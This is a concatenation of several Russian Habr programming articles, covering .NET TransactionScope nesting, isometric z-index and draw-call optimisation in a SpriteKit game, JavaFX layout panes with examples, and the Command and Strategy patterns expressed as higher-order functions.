1. Requires (значение по умолчанию) требует транзакции. При входе в блок будет либо использована транзакция родительского TransactionScope (если он есть), либо создана новая транзакция.
2. RequiresNew всегда требует создания новой транзакции
3. Suppress выполняет код блока вне транзакции
Обратите внимание на то, что в режимах RequiresNew и Suppress любой TransactionScope является рутовым, тогда как в режиме Requires можно использовать вложенные (nested) TransactionScope. Вложенные TransactionScope визуально очень похожи на классические вложенные транзакции (любителям MySQL известные как Savepoints). Но это ложная аналогия, и следующий пример пояснит, почему:
```
public void Method1()
{
using (var transactionScope1 = new TransactionScope(TransactionScopeOption.Requires))
{
Method2();
transactionScope1.Complete();
}
}
public void Method2()
{
using (var transactionScope2 = new TransactionScope(TransactionScopeOption.Requires))
{
//some code
}
}
```
Обратите внимание на то, что в Method2 мы не вызвали transactionScope2.Complete, а значит transactionScope2 откатится. В случае классических вложенных транзакций мы можем откатить внутреннюю транзакцию без отката рутовой. Здесь же оба TransactionScope работают в рамках одной транзакции, а значит если хотя бы один из внутренних transactionScope не вызовет Complete, транзакция будет помечена для отката, а уже при выходе из рутового TransactionScope произойдет rollback (commit/rollback транзакции всегда происходит при выходе из рутового TransactionScope). Причем если в рутовом TransactionScope вы попытаетесь вызвать Complete (как в Method1), а транзакция уже была помечена для отката, будет выкинут TransactionAbortedException.
Касательно вложенных TransactionScope есть одна неприятная особенность: на момент написания кода мы не знаем, будет ли Complete текущего TransactionScope означать commit транзакции. Допустим у нас есть следующий метод:
```
public void TransactionMethod(TransactionScopeOption.Requires)
{
using (var transactionScope = new TransactionScope(TransactionScopeOptions.Requires))
{
...
transactionScope.Complete();
}
//логика, завязанная на то, что транзакция уже закоммичена
}
```
, а также метод, который его вызывает:
```
public void CallingMethod1()
{
//...
TransactionMethod();
//...
}
```
И все бы ничего, но со временем появляется более высокоуровневый сервис, который вызывает TransactionMethod уже из своего внутреннего TransactionScope:
```
public void CallingMethod1()
{
//...
using (var transactionScope = new TransactionScope(TransactionScopeOptions.Requires))
{
//...
TransactionMethod();
//...
transactionScope.Complete();
}
//...
}
```
И тут вызов transactionScope.Complete() внутри TransactionMethod уже не ведет к коммиту транзакции, а значит и нижележащая логика, завязанная на то, что коммит транзакции уже произошел, даст сбой.
Хотя, справедливости ради, стоит отметить, что описанная ситуация довольно специфическая, и, как правило, разработчику все равно, произойдет ли коммит при выходе из текущего transactionScope или одного из вышележащих.
Теперь настало время уделить внимание двум другим значением TransactionScopeOption: RequiresNew и Suppress. Мне крайне редко приходилось использовать эти режимы. Более того, если не ошибаюсь, делал я это лишь один раз, и как раз при решении проблемы, описанной в предыдущей [статье](http://habrahabr.ru/blogs/net/115156/).
Вопрос использования или неиспользования RequiresNew и Suppress, безусловно, определяется требованиями алгоритма, но у меня на этот счет есть некоторые предубеждения. Дело в том, что TransactionScope в режимах RequiresNew и Suppress при наличии модифицирующих состояние базы данных операций делает невозможным использование старого трюка, когда код интеграционного теста заключается в транзакцию, которая по окончании теста откатывается, тем самым восстанавливая состояние базы данных:
```
[Test]
public void void IntegrationTest()
{
using (new TransactionScope())
{
//код теста
//не вызываем Complete
}
}
```
Если в тестируемом коде создаются TransactionScope в режиме Requires, то они подцепятся к тестовому TransactionScope, а значит мы сможем откатить все изменения. Если же в коде есть TransactionScope в режиме RequiresNew или Suppress, то откатить результат их работы из тестового TransactionScope мы не сможем. Стоит отметить, что наличие логики, завязанной на момент коммита транзакции (как в предыдущем примере), тоже делает невозможным использование этого приема.
Напоследок отмечу, что TransactionScope локален по отношению к потоку (потому что его реализация базируется на ThreadStatic-переменной). Если же вам необходимо использовать одну транзакцию из нескольких потоков, — воспользуйтесь классом [DependentTransaction](http://msdn.microsoft.com/en-us/library/system.transactions.dependenttransaction%28v=VS.90%29.aspx).
Вот, пожалуй, и все. TransactionScope прекрасен, но коварен — не забывайте об этом :) | https://habr.com/ru/post/115480/ | null | ru | null |
# Изометрия, z-индексы в мобильных играх и их оптимизация
Привет, Хабр! Недавно мы вышли в релиз с [нашей игрой](https://itunes.apple.com/ru/app/railway-tycoon/id1297227175?ls=1&mt=8), которую долго и упорно готовили и в процессе которой накопилось немалое количество интересных тем, которыми стоит поделиться с сообществом. Тема будет интересна далеко не только iOS и иным мобильным разработчикам, но и всем тем, кому интересно, как всякие графические вещи работают под капотом, а также всем фанатам 2D-стратегий, коим уже третее десятилетие являюсь я сам.
Сегодня поговорим о нюансах такой важной темы, как z-индексы на изометрической поверхности (да-да, не все тут так просто как кажется некоторым умникам). В мире 3d у нас, как ни странно, есть три координаты — x, y, z — которые полностью определяют положение объекта в пространстве. Задача определения близости к камере объектов там также стоит, но ложится целиком на плечи OpenGL. Разработчик лишь оперирует высокоуровневыми параметрами типа глубины z-буфера, которые влияют на производительность, но в остальном можно довериться OpenGL как черному ящику — у него хватает информации.
Совсем иная ситуация наблюдается в нашем “псевдо-3D” мире — каждый объект имеет только (x, y) — координаты и размер спрайта. Первой же задачей, которая становится перед программистом во время написания движка, является задача определения, какие объекты должны перекрывать друг друга перед нашей виртуальной “камерой”.
### Синопсис
Координаты SpriteKit (где (0;0) — центр “мира”, а Y идет вверх) в данном случае нас совершенно не интересуют, т.к. они ничего не значат в нашем с вами изометрическом “мире”, так что давайте оговоримся — у нас есть ромбовидное поле наподобие Age of Empires.
Тайл с координатами (0;0) находится в левом углу ромба, абсцисса X увеличивается “вниз” и “вправо”, т.е. растет ближе к наблюдателю, ордината Y увеличивается “вверх” и “вправо”, т.е. уменьшается по мере приближения к наблюдателю.
Также рельсы должны быть “под” поездом, дым из трубы — “над” поездом. Но не будем сейчас заморачиваться со “слоями бытия” — очевидно, ничего не мешает нам сделать сколько угодно изометрических “слайсов”, работающих по одним и тем же правилам. Примем допущение, что в одном тайле всегда расположен один объект — для наглядности большего и не надо.
Рассмотрим два поезда выше. Очевидно, что с точки зрения наблюдателя вагоны должны располагаться “ниже” поезда, т.е. их z-индекс должен быть меньше. В то же время “верхний” поезд должен “перекрываться” ближним, быть “дальше”. Можем ли мы, имея только координаты (x; y) построить карту z-индексов для каждого тайла?
Очевидно, да, используя следующую формулу (псевдокод а-ля свифт):
```
zIndex = pos.x * field.size.width - pos.y
```
Таким образом мы гарантируем, что по мере роста ординаты объекты отдаляются (-pos.y), а также с ростом абсциссы объекты приближаются (pos.x) и, что немаловажно, любой объект, имеющий абсциссу, скажем, 44, будет заведомо “ближе”, чем любой объект, имеющий абсциссу 43. Дабы добавить сюда “слоеность” (помните, рельсы под поездом, дым над трубой), достаточно добавить какую-нибудь константу “высоты” слоя:
```
zIndex = layerZIndex + pos.x * field.size.width - pos.y
```
Все, статью можно заканчивать, а себя похвалить за усвоенные в 10-м классе основы стереометрии и приступать к логике игры. Нет? Если бы! Стал бы я писать про очевидные вещи! (ну как очевидные, пару дней гробится и на это)
Мы только приступаем к самому интересному, идем дальше.
### Борьба за производительность
Каждый, хоть хоть раз запускал тестовый проект под SpriteKit (или кокос, или любой иной движок), видел магические цифры — fps и nodes.
Очевидно, что fps — количество кадров в секунду, nodes — количество нод, в основном спрайтов. Но на практике больше всего садит fps не количество нод, а иной параметр, который по умолчанию не выводится, но который также можно вывести одной строчкой — количество перерисовок draws.
В одной и той же сцене, как вы сейчас видите, количество нодов около 6000, и количество отрисовок — около 120. Это на минимальном зуме (камера максимально “близко” к поверхности), 1:1.
А теперь отдалим камеру на максимальное расстояние (у нас в игре это 2.5:1)
Мы поменяли масштаб всего в 2.5 раза (это еще в примере далеко не все объекты рисуются), а количество draws возросло в 5-6 раз при неизменном nodes count!
Разумеется, количество отрисовок влияет на fps несоизмеримо больше, чем абстрактное количество нодов. SpriteKit просто не рисует ноды, которые не попадают по вьюпорт (в камеру). Единственным исключением, которое я пока нашел, являются эмиттеры частиц, которые рисуются всегда, независимо от того видны они или нет.
Теперь поговорим о том, что же значит эта “отрисовка” draw. Видеокарта располагает все ноды “слоями”, руководствуясь их z-индексами. И проходит всю картинку раз за разом, начиная от самого нижнего и заканчивая самым верхним. Количество таких циклов отрисовки — и есть draws.
Теперь вы понимаете, что если каждый крошечный объект (а карта у нас большая, примерно 6000 х 3000) рисовать со своим собственным z-индексом, это угробит производительность любого телефона.
Проблемы лучше всего видны на старых 5 и 5с, но и наличие iPhone 10 ничего не гарантирует — при неправильном подходе можно угробить какое угодно мощное железо. В нашей игре одним из краеугольных камней была предельная четкость. На самом близком зуме спрайты один в один соответствуют ретиновым пикселям. Надо сказать, что в большинстве мобильных игр разрешение на порядки меньше, поэтому требования не такие громадные, но мы же делали качественно, как для себя…
Вот и приходится идти на хитрости.
* Все объекты, с которыми не взаимодействует игрок, и которые находятся на одном уровне по Х-координате, можно вообще слить в один спрайт. Для видеокарты куда проще нарисовать один большой спрайт, чем 10 маленьких. Поэтому полосы леса между дорогами — это целостные спрайты, состоящие из нескольких деревьев. А деревья, которые не перекрывают пути и другие деревья — вообще вшиты в карту. В альфах, кстати, было довольно много багов, когда вековой дуб рос прямо под рельсами поезда или под железнодорожным светофором, так что внимательно тестируйте свою игру чтобы не насмешить пользователей.
* Объекты, имеющие один z-индекс, рисуются в том порядке, в котором попадают в видеокарту. Т.е. добавив “далекие” объекты раньше “близких”, они правильно лягут, но не увеличат количество отрисовок видеокарты.
Все это позволяет сократить количество draws в разы, исправляя fps даже на стареньких iPhone. Пришлось на них сильно ограничить некоторые эффекты, но Apple не выпускает для них апдейтов уже год — грех будет жаловаться!
### Высота рельефа
Ну все, движок готов, можно уже приступать к чему-то интересному? Кому-то и можно, а нам еще рано. Ведь поезд должен красиво выезжать из тоннеля, и тут все не так просто, как может показаться.
Поезд должен располагаться “выше”, чем “дальняя” стенка тоннеля, и “ниже”, чем крыша тоннеля и следующие за ним горы. Красиво ведь, когда карта такая многоуровневая, с перепадами высот — опять же, не бездушную ерунду делаем, а то что самим нравится!
Но вернемся к деталям — для этого карта была “разрезана” следующим образом.
Внутренняя стенка тоннеля и все остальное левее-ниже и
верх тоннеля вместе с горами, в которые он перетекает. Тут уж никакие процедурные генерации z-индексов не помогут, только суровый белорусский хардкод.
Внимательный хабраюзер заметил на скриншоте из игры, что близ тоннелей деревья аккуратно “выкошены”, обнажая девственно пляжный песочек. Эта, казалось бы, недоработка, происходит из принципиальной невозможности реализации таких посадок деревьев в 2D. Поезд, выходя из туннеля, должен быть заведомо “выше” деревьев, которые он перекрывает, закрывая их собой. Но эти же деревья должны перекрывать собою крышу тоннеля, под которую должен заезжать поезд! А крыша должна быть выше поезда, и так по кругу, имеем логическое противоречие…
Примерно по схожей причине, из-за несовершенства графического движка, в старых играх типа Duke Nukem и Doom2 нет больших перепадов высот и этажности зданий.
Вот поэтому близ тоннелей деревья и не растут.
Надеюсь, было интересно, [игрушка вживую вот тут (free to play)](https://itunes.apple.com/ru/app/railway-tycoon/id1297227175?ls=1&mt=8), следующая статья цикла будет про красивую реалистичную 2D-воду, не пропустите!
P.S. Кстати, видео для привлечения внимания можно [посмотреть на youtube](https://youtu.be/DeryPnSGyIg) в нормальном качестве.
P.P.S. Игра пока доступна только в СНГ, Канаде и Ирландии, если кто-то захочет посмотреть из других стран, присылайте в личку почту с appleId — добавлю в TestFlight | https://habr.com/ru/post/415051/ | null | ru | null |
# Введение в JavaFx и работа с layout в примерах
Доброго времени суток. В этой статье я расскажу основы работы с классами пакета javafx.scene.layout.\* (BorderPane, AnchorPane, StackPane, GridPane, FlowPane, TilePane, HBox, VBox) и их особенностями в пошаговых примера и иллюстрациях. Также в кратце пробежимся по иерархии классов JavaFx.
После установки Eclipse и плагина e(fx)lipse создадим новый проект:
Выбираем JavaFx проект:
Настраиваем проект:
По дефолту Eclipse создаст такую заготовку:
```
package application;
import javafx.application.Application;
import javafx.stage.Stage;
import javafx.scene.Scene;
import javafx.scene.layout.BorderPane;
public class Main extends Application {
@Override
public void start(Stage primaryStage) {
try {
BorderPane root = new BorderPane();
Scene scene = new Scene(root,400,400);
scene.getStylesheets().add(getClass().getResource("application.css").toExternalForm());
primaryStage.setScene(scene);
primaryStage.show();
} catch(Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
launch(args);
}
}
```
На сцену добавляется корневой узел, им должен быть класс унаследованный от Parent (узел, который может иметь детей) корневой узел добавляется на сцену (специальный контейнер для всего контента графа узлов), а она в свою очередь на стейжд, который и показывается.
Давайте разберемся с иерархией классов JavaFx:
Самым базовым абстрактным классом является **Node** — узел в графе сцены, наследникам предоставляются поля для настройки размеров: (minWidth — минимальная ширина, minHeight — минимальная высота, prefWidth — предпочтительная ширина, prefHeight — предпочтительная высота, maxWidth — максимальная ширина, maxHeight — максимальная высота).
Координаты узла: getLayoutX() и getLayoutY()
**relocate(double x, double y)** — изменяет координаты узла, если необходимо настроить положение каждой координаты по отдельности, используйте **setLayoutX(double value)** и **setLayoutY(double value)**
Важно понимать, что выставленные координаты и размеры (pref то есть prefer — предпочтительно) при компоновке, в зависимости от иерархии графа узлов и их настроек могу отличаться от ожидаемых. Примеры приведу чуть позже.
Node не может содержать дочерних элементов это и логично, для этого существует **Parent** прямой наследник Node, в который можно добавлять и удалять дочерние узлы. Кстати, говоря, есть классы которые представляю узлы, но не содержат дочерние узлы: Camera, Canvas, ImageView, LightBase, MediaView, Parent, Shape, Shape3D, SubScene, SwingNode.
Нас сегодня интересует подгруппа наследников класса **Region** (базовый класс всех лайуат контейнеров) в частности поговорим о основных потомках класса Pane о панелях, которые чаще всего требуются в повседневной разработке.
#### BorderPane
Это специальная панель которая располагает свою дочерние узлы верхней(setTop(Node)), нижней(setBottom(Note)), левой(setLeft(Node)), правой(setRight(Node)) и центральной(setCenter(Node)) позициях, добавим несколько кнопок во все эти позиции на BotderPane:
```
BorderPane root = new BorderPane();
root.setLeft(new Button("Left"));
root.setTop(new Button("Top"));
root.setRight(new Button("Right"));
root.setBottom(new Button("Bottom"));
root.setCenter(new Button("Center"));
```
У секции top и bottom приоритет, поэтому они сужаю по высоте все остальные:
При попытке задать координаты к примеру у верхней кнопки:
```
BorderPane root = new BorderPane();
root.setLeft(new Button("Left"));
Button topButton = new Button("Top");
topButton.setLayoutX(20.0);
topButton.setLayoutY(20.0);
root.setTop(topButton);
root.setRight(new Button("Right"));
root.setBottom(new Button("Bottom"));
root.setCenter(new Button("Center"));
```
Кнопка не изменит своего положения, почему так происходит? При компоновке детей в методе **layoutChildren** класса BorderPane переопределяется позиция каждого узла с учетом всех настроек. Решений исправить есть несколько, например поместить (обернуть) кнопку в дополнительный подходящий контейнер, например в базовую для всех панелей
#### Pane
```
BorderPane root = new BorderPane();
root.setLeft(new Button("Left"));
//
Pane pane = new Pane();
Button topButton = new Button("Top");
topButton.setLayoutX(20.0);
topButton.setLayoutY(20.0);
pane.getChildren().add(topButton);
root.setTop(pane);
//
root.setRight(new Button("Right"));
root.setBottom(new Button("Bottom"));
root.setCenter(new Button("Center"));
```
Потому как Pane никак не переопределяет положение своих детей, мы получаем нужное смещение:
Можно не оборачивать кнопку, а просто выставить у нее внешний отступ c помощью статического метода **setMargin(Node child, Insets value)**:
```
BorderPane.setMargin(topButton, new Insets(20.0));
```
**Insets** — вспомогательный класс для настройки отступов, конструктор у него перегружен, может принимать один аргумент для все сторон, так и для каждой стороны в отдельности, пока мы настроили для все сторон один отступ, вот что мы получили:
Уберем отступы снизу и справа и получим желаемое смещение кнопки:
```
BorderPane.setMargin(topButton, new Insets(20.0, 0.0, 0.0, 20.0));
```
#### StackPane
Теперь давайте рассмотрим ситуацию в которой панель навязывает детям не только позицию, но и пытается их растянуть по всей ширине и высоте, заполнив всю область контента, заменим BorderPane и добавим туда сначала TextArea и Button.
```
StackPane root = new StackPane();
root.getChildren().add(new TextArea("TextArea in StackPane"));
root.getChildren().add(new Button("Button in StackPane"));
Scene scene = new Scene(root,250,250);
```
Кстати, для добавления нескольких узлов в нужном порядке можно использовать метод:
```
root.getChildren().addAll(Node1, Node2, ....);
```
Что мы видим, текстовое поле растянулись по нашей панели, а кнопка центрировалась:
Центрирование можно корректироваться с помощью **setAlignment(Pos)**
```
root.setAlignment(Pos.BOTTOM_RIGHT);
```
Сделать внутренний отступ с помощью setPadding(Insets)
```
root.setPadding(new Insets(10.0));
```
Можно сделать индивидуальную настройку центрирования и отступов каждого узла с помощью статических методов:
```
StackPane root = new StackPane();
TextArea textArea = new TextArea("TextArea in StackPane");
StackPane.setMargin(textArea, new Insets(10.0, 0.0, 30.0, 50.0));
Button button = new Button("Button in StackPane");
StackPane.setAlignment(button, Pos.CENTER_RIGHT);
root.getChildren().addAll(textArea, button);
```
Результат:
#### AnchorPane
Якорная панель позволяет края дочерних узлов привязывать смещениями к краям панели, рассмотрим пример:
Добавим кнопку и привяжем ее к правому краю:
`AnchorPane root = new AnchorPane();
Button button = new Button("Button in AnchorPane");
root.getChildren().add(button);
AnchorPane.setRightAnchor(button, 10.0);`
Добавим привязку к нижнему краю:
```
AnchorPane.setBottomAnchor(button, 10.0);
```
Теперь в левому краю и верхнему:
```
AnchorPane.setRightAnchor(button, 10.0);
AnchorPane.setTopAnchor(button, 10.0);
```
Получаем что края кнопки теперь жестко привязаны к краям панели, если начать тянуть окно, кнопка будет также тянуться.
#### GridPane
Рассмотрим очень полезную сеточную панель, добавление детей в эту панель необходимо делать через метод add(Node child, int columnIndex, int rowIndex) в котором первый параметр добавляемый узле, второй номер колонки, третий номер строки, вот простой пример:
```
GridPane root = new GridPane();
// Для отображения сетки
root.setGridLinesVisible(true);
root.add(new Label("0x0"), 0, 0);
root.add(new Label("0x1"), 0, 1);
root.add(new Label("1x1"), 1, 1);
root.add(new Label("1x2"), 1, 2);
root.add(new Label("5x5"), 5, 5);
```
Мы видим, что узлы можно добавлять в любую ячейку, пустые столбцы и строки создаются автоматически:
Для работы с колонками, есть специальный класс **ColumnConstraints**, для этого надо создать колонки, настроить их и добавить их в GridPane, в примеру если мы хотим выставить ширины первой колонки 130, а второй 20%:
```
GridPane root = new GridPane();
root.setGridLinesVisible(true);
root.add(new Label("0x0"), 0, 0);
root.add(new Label("0x1"), 0, 1);
root.add(new Label("1x1"), 1, 1);
root.add(new Label("1x2"), 1, 2);
root.add(new Label("5x5"), 5, 5);
//
ColumnConstraints columnConstraints = new ColumnConstraints();
columnConstraints.setPrefWidth(130.0);
ColumnConstraints columnConstraints1 = new ColumnConstraints();
columnConstraints1.setPercentWidth(20);
root.getColumnConstraints().addAll(columnConstraints, columnConstraints1);
//
```
Получаем:
Это самые базовые возможности, потребуется написать отдельную статья, для охвата всех тонкостей настройки GridPane.
#### FlowPane
Давайте сразу к примеру из него сразу станет все понятно, добавим шесть кнопок в FlowPane:
```
FlowPane root = new FlowPane();
root.getChildren().add(new Button("Button #1"));
root.getChildren().add(new Button("Button #2"));
root.getChildren().add(new Button("Button #3"));
root.getChildren().add(new Button("Button #4"));
root.getChildren().add(new Button("Button #5"));
root.getChildren().add(new Button("Button #6"));
```
Посмотрим результат, кнопка выводятся одна за другой (по дефолту у FlowPane горизонтальный вывод Orientation.HORIZONTAL)
Теперь при уменьшении окна по ширине, мы видим что дочерние узлы начинают переносится:
И соответственно если выставить вертикальную ориентацию
```
root.setOrientation(Orientation.VERTICAL);
```
При при уменьшении высоты окна получаем перенос:
Вертикальные и горизонтальные отступы между элементами можно настроиться с помощью:
```
root.setVgap(8);
root.setHgap(4);
```
**TilePane**
Работа этой панели схожа с работой FlowPane, отличие в том что дочерние узлы помещаются в сетку ячейки которой одинакового размера, приведем предыдущий пример, но в этот раз пусть одна кнопка будет больших размеров, чем остальные:
Как мы видим все узлы теперь находятся в «тайла» одинаковых размеров, растянутых по наибольшему узлу.
#### HBox и VBox
Это обычные горизонтальный и вертикальный списки, комбинируйте их, чтобы добиться нужного результата:
```
VBox root = new VBox();
HBox hBox = new HBox();
hBox.getChildren().addAll(new Button("Button#1"), new Button("Button#2"));
Slider slider = new Slider(1.0, 10.0, 4.0);
slider.setShowTickLabels(true);
root.getChildren().add(new Label("Label"));
root.getChildren().addAll(hBox, slider);
```
Это все наследники класса Pane, спасибо за внимание. | https://habr.com/ru/post/305282/ | null | ru | null |
# Паттерны Command и Strategy с точки зрения функционального программирования
В результате изучения функционального программирования в моей голове появились некоторые мысли, которыми я хочу с вами поделиться.
#### Паттерны проектирования и функциональное программирование? Как это вообще связано?
В умах многих разработчиков, привыкших к объектно-ориентированной парадигме, возникает впечатление, что проектирование программного обеспечения, как таковое, неразрывно связано с ООП и всё остальное — суть ересь. UML, большей частью нацеленный на ООП, используется как универсальный язык для проектирования — хотя он таким, конечно, не является. И мы видим, как мир объектно-ориентированного программирования постепенно погружается в пучину преступного переинженеринга (1).
В силу этого зачастую даже не ставится вопрос о *выборе парадигмы программирования*. Тем не менее, этот вопрос является весьма существенным, и зачастую правильный ответ даёт большие преимущества (3). Это, вообще говоря, выходит за рамки того, что мы привыкли называть проектированием — это вопрос из области архитектуры.
##### Лирическое отступление: разница между архитектурой, проектированием и реализацией
Не так давно я наткнулся на весьма интересное исследование — (2). В нём рассматривается задача формализации понятий «архитектура», «проектирование» и «реализация», которые чаще всего употребляются неформально. И авторам удаётся вывести весьма интересный критерий: критерий Intension/Locality. Я не буду углубляться в философию и просто приведу краткое описание критерия (эта часть — фактически перевод) и мои выводы из него.
Свойство Intension (интенсионность) означает способность некой сущности описывать бесконечное множество предметов: например, понятие простого числа. Ему противоположно свойство экстенсионности — сущность описывает конечный набор предметов: например, понятие страны — члены НАТО.
Свойство локальности — сущность влияет только на отдельную часть системы. Соответственно, глобальность — сущность влияет на всю систему в целом.
Дак вот, учитывая эти два свойства, авторы указанного исследования составляют такую таблицу:
Пользуясь ей легко определить, что относится к уровню архитектуры, а что — к уровню проектирования. И вот мой вывод: *выбор парадигмы программирования, платформы и языка — это решение уровня архитектуры*, т.к. этот выбор глобален (затрагивает все части системы) и интенсионен (парадигмы определяют способы решения бесконечного множества задач).
Тем не менее, решить столь глобальную задачу (найти критерии выбора подходящей парадигмы) мне пока не по силам. Поэтому я решил выбрать два уже существующих класса задач и показать, что для них стоит использовать не привычный для многих ОО подход, а функциональный, который в последнее время приобретает (заслуженно) всё большую популярность.
Классы задач я выбрал необычным методом — я взял два паттерна ОО проектирования и показал, что они, по сути — ограниченная реализация понятия из области функционального программирования — функции высшего порядка (higher-order function, далее: ФВП). Гипотеза заключалась в том, что паттерны — *это устоявшиеся решения определённых проблем*, а раз возникают проблемы и их устоявшиеся решения, видимо есть некие слабости и недостатки, которые приходиться преодолевать. Для рассмотренных паттернов это действительно так.
Кстати говоря, подобный подход был использован в (5) и (6). В (6) вообще было указано на возможность замены большинства паттернов, но подробный анализ каждого не проводился. В (5) было более подробное рассмотрение Command и Strategy, но немного с другой стороны. Я решил сделать что-то более практичное, чем в (6), и с другими акцентами, чем в (5). Итак, приступим.
#### Higher-order functions
Думаю, практически все в той или иной форме знакомы с этой идей.
*Функция высшего порядка* – это функция, которая принимает в качестве аргумента или возвращает как результат другую функцию.
Такое становится возможным благодаря основной концепции функционального программирования: функции – это значения. Стоит отметить, что когда мы говорим, что функция и значение в функциональном программировании полностью соответствуют аналогичным понятиям из математики, мы имеем в виду именно полное соответствие. Это одно и то же. Пример широко распространённых в математике ФВП – операторы дифференцирования, интегрирования и композиции (вообще говоря, это близко к понятию оператора из функционального анализа). Оператор композиции имеет непосредственное выражение в большинстве языков, поддерживающих функциональную парадигму. Пример на F#:
```
let f = (+) 10
let g = (*) 2
let composition = f << g
printfn "%i" <| g 15
printfn "%i" <| f 30
printfn "%i" <| composition 15
```
Вывод:
```
30
40
40
```
Очевидно, что запись f << g соответствует записи f(g(x)) или F ○ G.
Чтобы лучше понять это, предлагаю обратить внимание на тип оператора композиции:
```
('a -> 'b) -> ('c -> 'a) -> 'c -> 'b
```
Участки описания типа функции в скобках — это тоже типы функций. То есть, это функция, принимающая в качестве аргументов:
* Функцию, принимающую в качестве аргумента значение обобщённого типа 'a и возвращающую значение обобщённого типа 'b
* Функцию, принимающую в качестве аргумента значение обобщённого типа 'c и возвращающую значение обобщённого типа 'a
* Значение типа 'c
и возвращающая значение типа 'b. Фактически же она строит функцию, принимающую в качестве аргумента значение типа 'c и возвращающую значение типа 'b, т.е. тип можно переписать так:
```
('a -> 'b) -> ('c -> 'a) -> ('c -> 'b)
```
ФВП позволяют *выделять общее поведение*. За счёт этого они улучшают повторную используемость кода.
Это можно применить для разных целей – например, для обработки исключений. Предположим, что у нас есть много участков кода, которые могут вызвать определённый набор исключений. Мы можем записывать сам склонный к ошибкам код в виде функций, которые будем передавать в качестве параметра другой функции, производящей обработку исключений. Пример на C#:
```
private void CalculateAdditionalQuantityToIncreaseGain()
{
//получаем данные
var unitPrice = ExtractDecimal(gainUnitPriceEdit);
var quantityReleased = ExtractDecimal(gainQuantityEdit);
...
}
```
А вот ФВП, обрабатывающая исключения:
```
private static void ExecuteErrorProneCode(Action procedure)
{
try
{
procedure(); //исполняем переданную в качестве параметра функцию
}
catch (WrongDecimalInputInTextBoxException ex)
{
MessageBox.Show(ex.Message, "Ошибка во вводе");
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "Ошибка");
}
}
```
Тогда для обработки исключений, вызванных какой-либо функцией, достаточно писать:
```
ExecuteErrorProneCode(CalculateAdditionalQuantityToIncreaseGain);
```
Это существенно сокращает код, если обработчиков исключений много и/или много функций, который могут выкинуть исключения, которые необходимо обработать однотипно.
Также классическим примером выделения общего поведения является использование функций высшего порядка для сортировки. Очевидно, что для проведения сортировки необходимо иметь возможность сравнить элементы сортируемой коллекции между собой. В качестве такого «сравнителя» выступает функция, которая передаётся в качестве аргумента функции сортировки – соответственно, функция сортировки для обеспечения универсальности должна быть ФВП. В целом, возможность создавать ФВП – критически важное звено в цепочке действий, направленных на создание *абстрактных обобщённых алгоритмов*.
Кстати, так как ФВП, как и любые функции, являются значениями, их можно использовать для представления данных. Об этом смотрите статью про [представление Чёрча](http://en.wikipedia.org/wiki/Church_encoding).
#### Паттерн Command
Паттерн проектирования Command, как и Strategy, относится к *поведенческим* паттернам проектирования. Его основная роль — инкапсуляция некой функции. У этого паттерна много применений, но чаще всего он используется для того, чтобы сделать следующее:
* Посылать запросы к разным получателям
* Выстраивать команды в очереди, вести логи, отменять запросы
* Создавать сложные операции из простых
* Реализовать команды Undo (отмена последнего действия) и Redo (повтор последнего отменённого действия)
В общем случае он выглядит так:
Я буду рассматривать пример с реализацией undo и redo — чистую ОО версию реализации этой функциональности вы можете посмотреть [тут](http://www.codeproject.com/KB/architecture/sharped.aspx).
Распределение ролей на этой диаграмме:
Здесь *Filter* соответствует *Receiver*'у, *LoggingInvoker* — *Invoker*'у, *IFilterCommand* — *ICommand*. Вот как мы будем вызывать операции (создавать команды можно как в *Client*'e, передавая их как параметр методу `Execute()` *LoggingInvoker*'а, так и в самом *LoggingInvoker*'e — выбор зависит от конкретной ситуации):
А вот как мы их будем отменять:
performedOps и undoneOps — это стеки, хранящие исполненные и отменённые команды.
Однако, после рассмотрения ФВП довольно очевидно, что всё это поведение можно реализовать в виде ФВП, если выбранный язык поддерживает такую возможность. Действительно, объект *Invoker* можно заменить ФВП, принимающей в качестве аргумента функцию, соответствующую конкретной операции – нам больше не нужны объекты *Command*, потому что функции сами являются значениями, и интерфейс *ICommand*, т.к. его функции выполняет система типов языка, поддерживающего функциональную парадигму.
Приведём схему замены этого паттерна на конструкцию в функциональной парадигме, могущей выполнять те же функции:
На псевдокоде (инспирированном F#) соответствующая функциональная реализация будет выглядеть так:
```
//стеки для выполненных и отменённых операций
//здесь мы создаём тип - кортеж из функции и первоначальных данных
type OpType = (DataType -> DataType) * DataType
//и стеки из значений этого типа
let performedOps = Stack()
let undoneOps = Stack()
//замена LoggingInvoker - ФВП
let execute operation data =
let res = operation data //выполняем операцию
performedOps.Push(operation, data) //заносим операцию и предыдущее состояние в стек
res //возвращаем результат выполнения операции
let undo () =
if performedOps.Count > 0 then
//переносим запись об операции из стека выполненных в стек отменённых
undoneOps.Push(performedOps.Pop())
//и возвращаем состояние до выполнения операции
Some (snd undoneOps.Peek()) //здесь мы используем обобщённый тип 'a option, см. (5) или (7)
else
None
//Операции
let OperationOne data =
...
let OperationTwo data =
...
//выполняем операцию OperationOne
let mutable a = execute OperationOne data
//отменяем операцию
let b <- undo ()
```
Мы передаём функцию, которую хотим выполнить, ФВП `execute`. Функция `execute` ведёт стек выполненных операций, выполняет операцию и возвращает результат её выполнения. Функция undo отменяет последнюю выполненную операцию.
Данный подход имеет некоторые дополнительные преимущества перед использованием паттерна Command:
1. Результирующий код естественнее, короче и проще
2. Можно легко создавать макросы и сложные операции с помощью композиции или pipe-lining’a (о pipe-lining'e см. (5) или (7)) простых операций
3. Можно создавать сложные структуры данных, содержащие операции, например для динамического построения меню.
Кроме того, если мы используем мультипарадигменный язык, мы можем сочетать в разных пропорциях ОО паттерн Command и продемонстрированный здесь подход.
Многие современные языки поддерживают ФВП в той или иной степени. Например, в C# есть механизм делегатов. Пример решения задачи о создании undo с помощью делегатов вы можете найти в (4).
#### Паттерн Strategy
Паттерн Strategy предназначен для того, чтобы позволить клиенту выбирать один из нескольких возможных путей решения задачи. В ООП для этого создаётся следующая конструкция:
Контекст хранит в себе ссылку на одну из реализаций интерфейса *IStrategy*, при необходимости выполнить некую операцию он обращается к методу этого хранимого объекта. Меняя объекты — меняем методы.
Это так же легко преобразуется к функциональному стилю. На этот раз мы можем использовать список функций, чтобы сохранить возможные стратегии:
На псевдокоде:
```
let strategyA data = ...
let strategyB data = ...
let useStrategy strategy data =
...
strategy data
...
useStrategy strategyA data
```
Функции `strategyA`, `strategyB`,… – это функции, реализующие возможные стратегии. Функция высшего порядка `useStrategy` применяет выбранную стратегию к данным. Стратегия передаётся просто как аргумент для функции `useStrategy`.
